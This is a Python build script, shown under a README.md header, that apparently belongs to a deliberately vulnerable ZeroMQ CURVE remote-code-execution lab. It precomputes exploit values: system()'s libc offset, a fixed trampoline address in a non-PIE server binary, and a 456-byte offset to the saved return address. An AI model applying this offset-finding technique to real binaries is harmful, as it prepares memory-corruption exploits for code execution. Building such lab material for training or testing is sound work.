README.md
Rendering markdown...
#!/usr/bin/env python3
"""Pre-compute static exploit offsets from the build artifacts.
Runs at Docker build time. Finds lab_trampoline's absolute address in the
non-PIE server binary and system()'s offset in libc (informational).
"""
import json
import subprocess
import sys
LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
SERVER = "/opt/zmq-curve-rce/server-curve"
OUT = sys.argv[1] if len(sys.argv) > 1 else "/opt/zmq-curve-rce/build_offsets.json"
# system() offset in libc (informational — kept for calibrate.sh compatibility)
nm_out = subprocess.check_output(["nm", "-D", LIBC]).decode()
system_off = None
for line in nm_out.splitlines():
parts = line.split()
if len(parts) >= 3 and (parts[2] == "system" or parts[2].startswith("system@")):
system_off = int(parts[0], 16)
break
if system_off is None:
print("FATAL: system() not found in libc", file=sys.stderr)
sys.exit(1)
# lab_trampoline address in the non-PIE server binary (fixed, not affected by ASLR)
nm_srv = subprocess.check_output(["nm", SERVER]).decode()
trampoline_addr = None
for line in nm_srv.splitlines():
parts = line.split()
if len(parts) >= 3 and parts[2] == "lab_trampoline":
trampoline_addr = int(parts[0], 16)
break
if trampoline_addr is None:
print("FATAL: lab_trampoline symbol not found in server binary", file=sys.stderr)
sys.exit(1)
# Offset from memcpy dest to return address (from disassembly of process_initiate):
# memcpy dest = RSP + 0x490
# return addr = RSP + 0x658
# offset = 0x1C8 = 456
OFFSET_TO_RET = 456
profile = {
"system_off": system_off,
"trampoline_addr": trampoline_addr,
"offset_to_ret": OFFSET_TO_RET,
}
with open(OUT, "w") as f:
json.dump(profile, f, indent=2)
print(json.dumps({k: (hex(v) if v > 255 else v) for k, v in profile.items()}, indent=2))